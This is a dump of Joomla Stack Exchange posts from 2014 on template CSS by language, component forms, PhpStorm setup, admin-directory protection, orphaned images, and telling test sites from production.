  <row Id="574" PostTypeId="2" ParentId="573" CreationDate="2014-05-04T13:19:24.513" Score="0" Body="&lt;p&gt;I don't expect that this will be possible without a huge amount of hacking/customization, if at all.  Most especially because the products, cart/ecommerce, and the User and Account information all have to be available to the site with VM installed, and keeping sessions between the two sites in synch with the cart &amp;amp; user seems like a hurdle that would kill the idea for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only imagine a custom component for Site2 that would pull product info from Site1, then have the ability to add it to the cart on Site1 &lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-05-04T13:19:24.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="575" PostTypeId="1" AcceptedAnswerId="578" CreationDate="2014-05-04T13:30:57.917" Score="8" ViewCount="2187" Body="&lt;p&gt;I'm designing a multilingual site where I would like to base some of my styles on the active language.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;body.en-uk li.artist:before {content:&quot;Artist: &quot;}&#xA;body.it-it li.artist:before {content:&quot;Artista: &quot;}&#xA;body.de-de li.artist:before {content:&quot;Künstler&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anybody know of an extension capable of doing this (ie. adding a class to the  tag depending on the active language)?&lt;/p&gt;&#xA;" OwnerUserId="322" LastActivityDate="2014-05-12T08:19:59.637" Title="How to add a CSS class to &lt;body&gt; depending on active language" Tags="|extensions|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="576" PostTypeId="2" ParentId="575" CreationDate="2014-05-04T13:34:58.183" Score="1" Body="&lt;p&gt;In the index.php of your template, you could replace the current &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; tag with the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $lang = JFactory::getLanguage(); ?&amp;gt;&#xA;&amp;lt;body class=&quot;&amp;lt;?php echo $lang-&amp;gt;getTag(); ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will output the following as example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;en-GB&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-04T13:34:58.183" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="577" PostTypeId="2" ParentId="575" CreationDate="2014-05-04T13:36:28.663" Score="5" Body="&lt;p&gt;I would just modify the templates index.php file and add the class directly there.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;body class=&quot;&amp;lt;?php echo $this-&amp;gt;language; ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would assign the current language as class to the body tag.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-04T13:36:28.663" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="578" PostTypeId="2" ParentId="575" CreationDate="2014-05-04T13:55:00.990" Score="14" Body="&lt;p&gt;There's actually an easier solution to your problem. Any sane template (including all templates that come with the Joomla CMS) will set the &lt;code&gt;lang&lt;/code&gt; attribute on the HTML element. This enables you to use the CSS &lt;code&gt;:lang()&lt;/code&gt; pseudo-selector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're example would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;li.artist:lang(en):before {content:&quot;Artist: &quot;}&#xA;li.artist:lang(it):before {content:&quot;Artista: &quot;}&#xA;li.artist:lang(de):before {content:&quot;Künstler&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has a couple of advantages.&#xA;For starters, it will work regardless of Template or even with solutions other than Joomla as it's all done in the Browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also it will work fine with embedded parts in other languages, as long as the &lt;code&gt;lang&lt;/code&gt; attribute is set correctly. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;html lang=&quot;en&quot;&amp;gt;&#xA;  &amp;lt;head&amp;gt;&#xA;    &amp;lt;style&amp;gt;&#xA;     blockquote:lang(de) { color: red; }&#xA;     blockquote:lang(en) { color: red; }&#xA;    &amp;lt;/style&amp;gt;&#xA;  &amp;lt;/head&amp;gt;&#xA;  &amp;lt;body&amp;gt;&#xA;    &amp;lt;p&amp;gt;A famous German quote is:&amp;lt;/p&amp;gt;&#xA;    &amp;lt;blockquote lang=&quot;de&quot;&amp;gt;&#xA;      &amp;lt;p&amp;gt;Den Wald vor lauter Bäumen nicht sehen&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/blockquote&amp;gt;&#xA;    &amp;lt;p&amp;gt;A famous English quote is:&amp;lt;/p&amp;gt;&#xA;    &amp;lt;blockquote&amp;gt;&#xA;      &amp;lt;p&amp;gt;Listen to many, speak to a few.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;/blockquote&amp;gt;&#xA;  &amp;lt;body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lastly, Joomla doesn't just output the language but the locale. So your one site might use en-GB, another en-US and the template will reflect that. Using &lt;code&gt;:lang(en)&lt;/code&gt; will match either, but you could also use &lt;code&gt;:lang(en-US)&lt;/code&gt; to only target American English.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="52" LastEditDate="2014-05-06T19:06:46.993" LastActivityDate="2014-05-06T19:06:46.993" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="581" PostTypeId="1" CreationDate="2014-05-04T14:52:16.857" Score="1" ViewCount="359" Body="&lt;p&gt;I prepared a component and i have to add different categories and custom items with lots of fields in my component.But What i want is to display all the joomla's fields for adding a new item in my new component's new item form. &#xA;As an example, if i go &lt;code&gt;components-&amp;gt;weblinks-&amp;gt;links&lt;/code&gt; page and click &lt;code&gt;new&lt;/code&gt;, i see lots of default fields of joomla like &lt;code&gt;status, access, publishing options, metadata options&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those same fields i want to have when i add my own item having lots of fields for that item too.&#xA;This way i can take advantage of ordering, sorting, display by different options, add metadata....when i list my items, simply same as &lt;code&gt;components-&amp;gt;weblinks-&amp;gt;links&lt;/code&gt; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do i take advantage joomla's form, list...codes to achieve my goal??. Please lead me to right direction providing full tutorials if available. Thanks in advance, hope i made things understandable.&lt;/p&gt;&#xA;" OwnerUserId="99" LastActivityDate="2014-05-04T19:24:55.950" Title="Adding all form parameters in a custom item of the component" Tags="|joomla-3.x|joomla-2.5|php|mvc|jform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="582" PostTypeId="1" CreationDate="2014-05-04T14:57:00.563" Score="1" ViewCount="231" Body="&lt;p&gt;When I make a menu item for com_contacts &gt; All contacts in a list, I want to show just 5 contacts and use pagination for the rest. Where is the parameter for the # of contacts to be displayed?&lt;/p&gt;&#xA;" OwnerUserId="86" LastActivityDate="2016-06-25T09:37:03.367" Title="How do I change how many contacts to display?" Tags="|cms|component|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="583" PostTypeId="2" ParentId="582" CreationDate="2014-05-04T16:09:19.927" Score="1" Body="&lt;p&gt;It should take the &quot;Default List Limit&quot; setting from the Global Configuration. However changing that will also change the list limits for all other extensions as well.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2014-05-04T16:09:19.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="584" PostTypeId="1" AcceptedAnswerId="606" CreationDate="2014-05-04T18:55:59.970" Score="9" ViewCount="4945" Body="&lt;p&gt;Is there a good resource or tutorial which explains how to setup &lt;a href=&quot;http://www.jetbrains.com/phpstorm/&quot;&gt;PhpStorm&lt;/a&gt; so one can develop and debug Joomla extensions (and core) with it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for something similar to the &lt;a href=&quot;http://docs.joomla.org/Configuring_Eclipse_for_joomla_development&quot;&gt;Configuring Eclipse for Joomla! development&lt;/a&gt; tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of people seem to be happy with it, but I struggled to get it to work and gave up.&lt;/p&gt;&#xA;" OwnerUserId="52" LastEditorUserId="159" LastEditDate="2014-05-05T07:48:13.797" LastActivityDate="2014-12-01T16:14:57.030" Title="Tutorial for setting up PhpStorm to work with Joomla" Tags="|cms|development|extensions|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="585" PostTypeId="2" ParentId="581" CreationDate="2014-05-04T19:24:55.950" Score="2" Body="&lt;p&gt;You have to add all of the options you want into your form's XML file.  I suggest looking at com_weblinks and its form files under models/forms, its edit view to see how it is displayed, and the database schema to see how you will need to store the data.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-05-04T19:24:55.950" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="586" PostTypeId="1" AcceptedAnswerId="587" CreationDate="2014-05-04T23:31:53.010" Score="7" ViewCount="219" Body="&lt;p&gt;Is there &lt;em&gt;any&lt;/em&gt; secure version of the old Joomla! &lt;strong&gt;1.6.x&lt;/strong&gt;, or the &lt;strong&gt;1.7.x&lt;/strong&gt; series available? &lt;/p&gt;&#xA;" OwnerUserId="147" LastActivityDate="2016-07-11T09:49:54.637" Title="Is there any secure version of Joomla! 1.6 or 1.7 available?" Tags="|cms|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="587" PostTypeId="2" ParentId="586" CreationDate="2014-05-04T23:33:16.703" Score="7" Body="&lt;p&gt;Short and long answer is &lt;strong&gt;no&lt;/strong&gt;. You need to upgrade a 1.6 or 1.7 site to at least 2.5.x as that is the most secure version (although 2.5 is fast approaching end-of-life). If you have a compatible template, you might be able to upgrade to 3.3.&lt;/p&gt;&#xA;" OwnerUserId="106" LastActivityDate="2014-05-04T23:33:16.703" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="588" PostTypeId="1" AcceptedAnswerId="593" CreationDate="2014-05-04T23:42:23.027" Score="8" ViewCount="1493" Body="&lt;p&gt;I would like to create the list of images no longer used in any content item so they can be purged from the disk. What is the best method to generate such a list?&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2014-05-05T00:36:20.873" LastActivityDate="2023-08-30T21:43:43.440" Title="How to get list of all orphaned image files?" Tags="|maintenance|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="589" PostTypeId="1" AcceptedAnswerId="590" CreationDate="2014-05-04T23:50:43.480" Score="9" ViewCount="10607" Body="&lt;p&gt;Can be &lt;strong&gt;administrator&lt;/strong&gt; directory effectively renamed (for example by simple change in Joomla! core code) for example to &lt;strong&gt;admTZ34&lt;/strong&gt;? The main reason is to obfuscate standard pattern where &lt;strong&gt;www.example.com/administrator&lt;/strong&gt; could be used to check presence of Joomla! installation (in older releases also Joomla! version etc.)&lt;/p&gt;&#xA;" OwnerUserId="324" LastActivityDate="2016-05-03T09:45:20.060" Title="Renaming of administrator directory" Tags="|security|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="590" PostTypeId="2" ParentId="589" CreationDate="2014-05-04T23:56:23.000" Score="15" Body="&lt;p&gt;It's not really recommended or very simple to do. The admin path gets hardcoded in a lot of extensions with calls to things like JTables which means changing the directory name could have a lot of consequences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said if you want to prevent direct access try with one of this solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A)&lt;/strong&gt; Password protect &lt;strong&gt;/administrator&lt;/strong&gt; with a &lt;strong&gt;.htaccess&lt;/strong&gt; password protection. &lt;br/&gt;    This uses HTTP authentication to prevent anyone from getting to the admin directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://httpd.apache.org/docs/current/programs/htpasswd.html&quot; rel=&quot;nofollow&quot;&gt;http://httpd.apache.org/docs/current/programs/htpasswd.html&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;B)&lt;/strong&gt; Require a keyword in the URL with an extension like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/access-a-security/site-security/adminexile&quot; rel=&quot;nofollow&quot;&gt;AdminExile&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/access-a-security/site-security/jsecure-lite&quot; rel=&quot;nofollow&quot;&gt;JSecure&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/access-a-security/site-security/ksecure&quot; rel=&quot;nofollow&quot;&gt;KSecure&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/access-a-security/site-security/ksecure&quot; rel=&quot;nofollow&quot;&gt;Admin Tools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Admin tools is capable of doing both options for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With one of this extensions the admin url will be: &lt;br/&gt;&#xA;yoursite.com/administrator/&lt;strong&gt;?mySpecialPhrase&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="48" LastEditorUserId="7394" LastEditDate="2016-05-03T09:45:20.060" LastActivityDate="2016-05-03T09:45:20.060" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="591" PostTypeId="2" ParentId="589" CreationDate="2014-05-04T23:57:28.067" Score="4" Body="&lt;p&gt;You can't really change it as it would prevent extensions from installing properly. You can however use Admin Exile which allows you to add a value, key or both to the administrator URL. In addition to this, if the standard admin URL is typed it, it will redirect the user to a site of your choice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/access-a-security/site-security/login-protection/15711&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/access-a-security/site-security/login-protection/15711&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-05-04T23:57:28.067" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="593" PostTypeId="2" ParentId="588" CreationDate="2014-05-05T00:04:44.493" Score="5" Body="&lt;p&gt;I'm not sure there is a best method on how to do this. The only way I can think of requires a bit of effort. That is, generating a list of all the images in the content table in the database (and potentially in modules, menus, banners, etc... Any place where images are referenced which is a lot), compare that list against all the images on the files system, and then compare between each list and remove the images which aren't used. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So this would look like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Get a list of all the images in com_content's database table. Dump all the rows, regex for &lt;code&gt;&amp;lt;img src=&quot;images/stories/an-image.jpg&quot; /&amp;gt;&lt;/code&gt;. Another way is to use php's strip_tags() method and only allow the  tag. I find this easier than writing a regex generally. Basically run a php script to build this list for you as a text document or csv. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Get a list of all images on the site. You could use grep from the command line to do this I believe. You could probably do it with some sort of recursive php filesystem method as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) get both into a spreadsheet and run some sort of comparison against each column to see if the image is used, compiling a list of unused images in a third column. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;--&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, unless you have a crap ton of images I'm not sure this is worth the effort. But you'll have to determine that pending your use case. Also there may be a far more simple solution which someone else will have to suggest! &lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="48" LastEditDate="2014-05-10T11:36:04.610" LastActivityDate="2014-05-10T11:36:04.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="594" PostTypeId="2" ParentId="588" CreationDate="2014-05-05T00:06:04.020" Score="3" Body="&lt;p&gt;I'm not aware of an existing extension that would do it.  Your best bet would be to write a script that checks each image against tables in the database where content can be stored to see if they are in use.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-05-05T00:06:04.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="595" PostTypeId="1" AcceptedAnswerId="597" CreationDate="2014-05-05T00:24:37.987" Score="3" ViewCount="1790" Body="&lt;p&gt;In addition to &lt;a href=&quot;https://joomla.stackexchange.com/questions/347/why-does-a-joomla-distribution-still-contain-index-html-in-each-folder&quot;&gt;question about blank &lt;strong&gt;index.html&lt;/strong&gt; files&lt;/a&gt; I would like to know:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;if the webserver is not configured properly, is it still a &lt;em&gt;must&lt;/em&gt; to have &lt;strong&gt;index.html&lt;/strong&gt; (empty or not) in every directory? For example extension directory &lt;strong&gt;media/com_akeeba/js/&lt;/strong&gt; is missing the file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;is there a verification tool to check whether all directories have &lt;strong&gt;index.html&lt;/strong&gt; present?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="324" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.620" LastActivityDate="2014-05-05T00:29:51.177" Title="Index.html files – must these be present in every directory?" Tags="|security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="596" PostTypeId="2" ParentId="570" CreationDate="2014-05-05T00:27:53.737" Score="3" Body="&lt;p&gt;I realize you've solved the syntax error issue, but the right way to solve this problem is to not insert javascript with PHP this way. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you should be doing is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) create your javascript file in &lt;code&gt;media/plg_yourplugin/js/your-js-file.js&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) in PHP use JHTML library API to add the javascript file to the index.php  area. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a blog post by @Michael on how to do this properly:&#xA;&lt;a href=&quot;http://www.babdev.com/blog/139-use-the-media-folder-allow-overridable-media&quot; rel=&quot;nofollow&quot;&gt;http://www.babdev.com/blog/139-use-the-media-folder-allow-overridable-media&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="48" LastActivityDate="2014-05-05T00:27:53.737" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="597" PostTypeId="2" ParentId="595" CreationDate="2014-05-05T00:29:51.177" Score="9" Body="&lt;p&gt;From a technical aspect, index.html files are not required, but do prevent directory access on badly configured environments as already noted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking to list an extension on the Joomla! Extensions Directory, (JED) it is not required to have index.html files; this change was made somewhere around March 2013.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the JEDChecker extension at &lt;a href=&quot;http://extensions.joomla.org/extensions/miscellaneous/development/21336&quot;&gt;http://extensions.joomla.org/extensions/miscellaneous/development/21336&lt;/a&gt; to check JED requirements including the index.html file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to add index.html files to your site, you can copy the script at &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/build/indexmaker.php&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/build/indexmaker.php&lt;/a&gt; and run it from a command line session on your server.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-05-05T00:29:51.177" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="598" PostTypeId="1" AcceptedAnswerId="608" CreationDate="2014-05-05T00:33:51.087" Score="15" ViewCount="465" Body="&lt;p&gt;Sometimes you might need to clone your production site to TEST site. After cloning, they look identical except the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please advise your &lt;strong&gt;recommended practice to distinguish front-end and back-end of your TEST site quickly and effectively&lt;/strong&gt; so PROD and TEST cannot be accidentally confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Purpose:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;prevent users to enter production data into TEST site by mistake&lt;/li&gt;&#xA;&lt;li&gt;prevent developers (, testers etc.) to perform testing on production site by mistake&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2014-05-05T14:48:40.593" LastActivityDate="2014-09-10T09:02:17.633" Title="How to effectively distinguish test and production site?" Tags="|recommended-practices|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="599" PostTypeId="1" AcceptedAnswerId="665" CreationDate="2014-05-05T00:56:41.187" Score="7" ViewCount="2778" Body="&lt;p&gt;Is there some good diagram of Joomla! architecture showing main components and their most important bindings?  Something what can help newbies to quickly get architecture overview of Joomla!&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="326" LastEditDate="2014-05-05T07:49:12.540" LastActivityDate="2014-05-07T13:34:12.983" Title="Diagram of Joomla! architecture" Tags="|software-architecture|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="600" PostTypeId="1" AcceptedAnswerId="602" CreationDate="2014-05-05T01:10:54.747" Score="9" ViewCount="2194" Body="&lt;p&gt;How I should understand difference between &lt;strong&gt;images&lt;/strong&gt; and &lt;strong&gt;media&lt;/strong&gt; directory? In all my Joomla! sites I was using &lt;strong&gt;images&lt;/strong&gt; for image files displayed in articles, &lt;strong&gt;media&lt;/strong&gt; for PDF's, MP3's etc. &lt;em&gt;Names of these directories&lt;/em&gt; led me to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(1)&lt;/strong&gt; If I have 600×900 px (portrait) banner image which on click goes to 6000×9000 image suitable for large-format printing, should the former go to &lt;strong&gt;images&lt;/strong&gt; and the latter to &lt;strong&gt;media&lt;/strong&gt; directory?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(2)&lt;/strong&gt; Name &lt;strong&gt;media&lt;/strong&gt; evokes me either abstract media type (PDF, EPUB, MOV) or CSS-like display media (paper, screen, mobile device) or storage media (DVD, HDD, CD). How should I understand directory name &lt;strong&gt;media&lt;/strong&gt; from Joomla! viewpoint? What media are expected inside?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;(Main)&lt;/strong&gt; What is the main rule for decision which directory to use for what?&lt;br&gt;&#xA; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;▶ &lt;em&gt;More than simply learning DO's and DON'Ts my goal is to understand intention of Joomla designers for these directories.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="324" LastEditorUserId="324" LastEditDate="2014-05-05T16:25:23.977" LastActivityDate="2016-08-12T16:05:26.980" Title="What is the difference between images and media directory?" Tags="|cms|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="601" PostTypeId="2" ParentId="598" CreationDate="2014-05-05T03:03:17.210" Score="13" Body="&lt;p&gt;The practice we follow is - &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Change website-title in global configuration to [TEST] original title.&lt;/li&gt;&#xA;&lt;li&gt;Change email configuration to point to mailtrap.io&lt;/li&gt;&#xA;&lt;li&gt;If test site is on same server, change database details.&lt;/li&gt;&#xA;&lt;li&gt;Change all third party integrations to testing account (services beyond joomla) e.g.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Memcache or redis&lt;/li&gt;&#xA;&lt;li&gt;external database/storage&lt;/li&gt;&#xA;&lt;li&gt;payment gateway, &lt;/li&gt;&#xA;&lt;li&gt;newsletter system (mailchimp)&lt;/li&gt;&#xA;&lt;li&gt;CDN account and domain&lt;/li&gt;&#xA;&lt;li&gt;Analytics service account (google analytics, new-relic)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="144" LastEditorUserId="144" LastEditDate="2014-05-05T16:59:26.550" LastActivityDate="2014-05-05T16:59:26.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="602" PostTypeId="2" ParentId="600" CreationDate="2014-05-05T03:14:04.317" Score="12" Body="&lt;p&gt;&lt;strong&gt;&lt;em&gt;media&lt;/em&gt;&lt;/strong&gt; is mostly used for&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;images, script and stylesheets which are served with component and plugins. (These are part of your website source-code)&lt;/li&gt;&#xA;&lt;li&gt;Content of this folder can be overridden by template&lt;/li&gt;&#xA;&lt;li&gt;for examples your &lt;strong&gt;website-logo&lt;/strong&gt; is part of source code&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;But &lt;strong&gt;&lt;em&gt;image&lt;/em&gt;&lt;/strong&gt; folder is used for &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;images in content written by admin/users. &lt;/li&gt;&#xA;&lt;li&gt;Its safe to assume images folder for &lt;a href=&quot;http://en.wikipedia.org/wiki/User-generated_content&quot;&gt;user generated contents&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;li&gt;for example your website users upload there profile pic, these should be stored in images folder.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="144" LastEditorUserId="144" LastEditDate="2014-05-05T14:52:20.780" LastActivityDate="2014-05-05T14:52:20.780" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="603" PostTypeId="2" ParentId="589" CreationDate="2014-05-05T03:20:17.390" Score="2" Body="&lt;p&gt;If your only concern is bad-bots identifying your website as joomla website then you need to do a lot more to hide this truth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of technique exist to identify your website as joomla and its version.&#xA;This &lt;a href=&quot;http://docs.joomla.org/Htaccess_examples_%28security%29&quot; rel=&quot;nofollow&quot;&gt;.htaccess&lt;/a&gt; file helps in these attacks.&lt;/p&gt;&#xA;" OwnerUserId="144" LastEditorUserId="140" LastEditDate="2014-05-05T05:10:11.237" LastActivityDate="2014-05-05T05:10:11.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="605" PostTypeId="2" ParentId="599" CreationDate="2014-05-05T07:08:22.650" Score="0" Body="&lt;p&gt;At the core, Joomla follows Model-View-Controller (MVC) architecture. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image source: &lt;a href=&quot;http://www.joomla.org/about-joomla.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.joomla.org/about-joomla.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PBcaV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="145" LastEditorUserId="159" LastEditDate="2014-05-05T07:50:47.157" LastActivityDate="2014-05-05T07:50:47.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="606" PostTypeId="2" ParentId="584" CreationDate="2014-05-05T09:39:04.767" Score="7" Body="&lt;p&gt;I must admit that switching from Eclipse to PhpStorm is not the easiest (as the whole IDE is quite different) thing but it's worth the effort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You cannot have multiple projects opened in the same IDE window, and also the Git client is not as good as the one in Eclipse (actually I find it so poor, that I am using git only from the console now). But apart from that it should be very easy to run the debugger or  unit tests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some &lt;strong&gt;video tutorials&lt;/strong&gt; which may get you started.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jetbrains.com/phpstorm/documentation/phpstorm-video-tutorials.jsp&quot; rel=&quot;nofollow&quot;&gt;PhpStorm Documentation - Video Tutorials&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apart from that, the good ol' &lt;strong&gt;documentation&lt;/strong&gt; may answer your questions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.jetbrains.com/phpstorm/webhelp/phpstorm.html&quot; rel=&quot;nofollow&quot;&gt;PhpStorm Web Help&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2014-06-06T06:42:24.840" LastActivityDate="2014-06-06T06:42:24.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
